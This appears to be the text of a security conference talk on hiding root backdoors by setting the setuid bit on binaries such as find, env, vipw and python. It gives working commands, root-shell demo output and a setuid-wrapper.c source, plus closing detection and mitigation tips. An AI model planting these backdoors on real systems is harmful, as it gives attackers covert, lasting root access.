Backdooring With Metadata

Itzik Kotler,
CTO & Co-Founder of SafeBreach

About Me

- 15+ years in InfoSec
- CTO & Co-Founder of SafeBreach
- Presented in DEF CON, Black Hat, RSA, HITB, THOTCON, CCC, ... It’s my first time here and I love it ☺
- http://www.ikotler.org

What’s The Problem?

Failure Point #1 in Userland Backdoors: Transferring May Trigger Network Controllers

- Downloading `MYBACKDOOR` from the Internet may trigger Gateway Security Controllers like: Sandbox, Content Filtering etc.

- Transferring `MYBACKDOOR` within the network may trigger Network Security Controllers like: Sandbox, NIPS etc.

- Regardless of content (i.e. `MYBACKDOOR`), the connection itself may be enough to trigger a UBA (“User Behavior Analytics”) if it is an anomaly for that Endpoint

Failure Point #2 in Userland Backdoors: Dropping May Trigger Endpoint Controllers

- Saving `MYBACKDOOR` to the disk may trigger AV and/or other Endpoint Security Solutions as it may already have a bad reputation (i.e. `YARA rule, MD5/SHA1`)

- Saving `MYBACKDOOR` to the disk may trigger AV and/or other Endpoint Security Solutions as it may analyze and find it malicious

Failure Point #3 in Userland Backdoors: Running May Trigger Endpoint Controllers

- Running `MYBACKDOOR` (being unsigned binary) may trigger an Endpoint Security Controller if application whitelisting is enabled

- Running `MYBACKDOOR` (being a malicious binary) may trigger an Endpoint Security Controller if its behavior is malicious

… And that's without getting into IT Issues …

- There may be connectivity issues
- There may be bandwidth issues
- There may be storage constraints (e.g. embedded device)
- Etc.

(The Theory) How To Solve It?

Introduction to the Concept of Binaries that allow Arbitrary Code Execution (or BACE for short)

- Meet `find (/usr/bin/find)` a command which first appeared in Version 1 AT&T UNIX.

- Here's how you can use the `find` command to find all your GIFs:

```
$ find / -name "*.gif"
```

Introduction to BACE (Cont.)

- Here's how you can use `find` to run an arbitrary command like `id`:

```
$ touch /tmp/foobar
$ find /tmp/ -name "foobar" -exec id \;
$ rm -rf /tmp/foobar
```

- Wait, what? It appears that `find` accepts a command line option called `-exec` that lets you run (*and even pass arguments to!*) an arbitrary program for each result …

All Your BACE Are Belong To Us!

- BACE can be any locally installed application that *by design* lets you run an arbitrary program (i.e. `find`)

- BACE can be any locally installed application that *as a by-product* lets you run an arbitrary program

- **Finding BACE on the target OS is the 1st step of implementing a backdoor with metadata**

Quick Overview of `chmod` and `setuid` Mechanism

- In Unix-like OSes: `chmod` is a command (and also a system call) which allow users to change flags (i.e. access permissions) of filesystem objects

- In Unix-like OSes: `setuid` is a flag that allow users to run a program with the permissions of the file owner. In other words, to temporarily elevate privileges of a program

- `chmod +s` **BACE on the target OS is the 2nd step of implementing a Backdoor with Metadata**

BACE + `chmod`, `setuid` = Backdoor via Metadata

- Let's make a backdoor from our previous example (i.e., `find`):

```
# tested on macOS 10.13.4
$ chmod +s /usr/bin/find # as root
$ touch /tmp/foobar
$ find /tmp/ -name "foobar" -exec bash -p \;
$ rm -rf /tmp/foobar
```

- The outcome? We've turned `find` into a backdoor by applying `chmod`

Will This Scale? Yes ☺

Backdooring via Metadata works on: ***Debian****,* ***Ubuntu****,* ***CentOS****,* ***FreeBSD****,* ***Oracle Solaris****,* ***Fedora****,* ***macOS*** *… and that's just the platforms/distributions we've verified!*

(The Practice) Techniques

BACE Method #1: Direct Command

- Exploited via command line options (e.g., `find` and the `–exec` command line option)
- It may be limited to invoking a program but without passing any arguments to it, but there's a workaround for it*
- It may be passing/forcing some arguments to it, but there's a workaround for it*

Demo of /usr/bin/env

```
# on macOS High Sierra 10.13.4
# after chmod +s /usr/bin/env (as root)

$ /usr/bin/env bash -p
bash-3.2# whoami
root
bash-3.2#
```

How To Search For BACE Method #1 in your OS

- Try:

```
man -K exec
man -K command
apropos command
apropos exec
```

Pros/Cons of this Method

- (**PRO**) No change in the BACE file size or content
- (**PRO**) No network/Internet connectivity is required
- (**CON**) Changes the flags of the BACE file
- (**CON**) BACE command line maybe exposed via tools like `ps`

Method #1 vs Traditional Rootshell Backdoor

BACE (Method #1) Backdoor:

- `chmod +s /usr/bin/find`

Cons:

- Changing the file flags

Traditional Rootshell Backdoor:

- `cp /bin/bash /tmp/x`
- `chmod +s /tmp/x`

Cons:

- Creating a new file
- Changing the file flags

Fun Fact: env is a cross-platform BACE!

- We verified env as BACE on:
  - [✓] Debian
  - [✓] Ubuntu
  - [✓] CentOS
  - [✓] FreeBSD
  - [✓] Oracle Solaris
  - [✓] Fedora
  - [✓] macOS

- More about this and others in our to-be-published Spreadsheets!

BACE Method #2: Environment Variables

- Read certain environment variable values (e.g., `VISUAL`, `EDITOR` etc.) as programs and run them

- It may be limited to invoking a program but without passing any arguments to it, but there's a workaround for it*

- It may be passing/forcing some arguments to it, but there's a workaround for it*

Demo (The curious case of vipw)

```
# on macOS High Sierra 10.13.4
# after chmod +s /usr/sbin/vipw (as root)

$ EDITOR=“/bin/bash –p” vipw
ipw: /bin/bash -p: No such file or directory
vipw: /etc/master.passwd: unchanged
```

Hello `setuid-wrapper.c`

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {
    setuid(0);
    seteuid(0);
    system("/bin/bash -p");
    return 1;
}
```

Why Do We Need `setuid-wrapper.c`?

- Eliminate the need for passing command line args (i.e., `bash -p`)
- Always ignores any junk (forcefed?) passed in either `STDIN` or `ARGV`
- Always performs `setuid()` and `seteuid()`
- Always calls `system()` with the desired outcome (e.g., `bash -p`)

The curious case of vipw (Cont.)

```
$ cd /tmp
$ gcc -o s setuid-wrapper.c
$ EDITOR="/tmp/s" vipw
bash-3.2# whoami
root
bash-3.2#
```

How To Search For BACE Method #2 in your OS

- Try:

```
man -K VISUAL
man –K EDITOR
apropos VISUAL
apropos EDITOR
```

Pros/Cons of this Method

- (**PRO**) No change in the BACE file size or content
- (**PRO**) No network/Internet connectivity is required
- (**CON**) Changes the flags of the BACE file
- (**CON**) BACE may require creating a middleware (i.e., `setuid-wrapper.c`)

BACE Method #3: Spawning a Process

- Exploited as a function of the application itself (i.e. input within the application will trigger it)
- It may be limited to invoking a program but without passing any arguments to it, but there's a workaround for it*
- It may be passing/forcing some arguments to it, but there's a workaround for it*

Demo of /usr/bin/python

```
# on macOS High Sierra 10.13.4
# after chmod +s /usr/bin/python (as root)

$ python
Python 2.7.10 (default, Oct  6 2017, 22:29:07)
[GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.31)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.seteuid(0)
>>> os.system("/bin/bash -p")
bash-3.2#
```

How To Search For BACE Method #3 in Your OS

- Try:

```
man -K spawn
apropos spawn
```

Pros/Cons of this Method

- (**PRO**) No change in the BACE file size or content
- (**PRO**) No network/Internet connectivity is required
- (**CON**) Changes the flags of the BACE file

Releasing The BACE Excel Sheet

- Version: 1.0 (Initial Release)
- Format: XLSX / Microsoft Excel
- License: CC-BY 3.0
- Git Repository: https://github.com/SafeBreach-Labs/BACE

THERE'S STILL A LOT OF WORK TO BE DONE!

WE NEED YOUR HELP!

Ideas for Detecting & Mitigating the Methods

- Know your SETUID/SETGID binaries!
- Check early, check often … if your SETUID/SETGID binaries list have changed!
- Consider using SELinux / AppArmor

Ideas for Future Methods

- 2nd Degree from BACE:
  - Binaries that allow Arbitrary Data Write (or BADW for short)
  - Binaries that allow Arbitrary Data Read (or BADR for short)

- Chaining 1st & 2nd Degree BACEs:
  - BADW → Gain Root → BACE → Remove BADW?

- Finding other ”exotic” features in applications that can be abused, once they are SETUID

Acknowledgement

- Big Thanks to Itai Browarnik for his help in testing, validating and documenting the findings!

Thank You!
Q&A

Email: itzik@safebreach.com
Twitter: @itzikkotler
GitHub: https://github.com/SafeBreach-Labs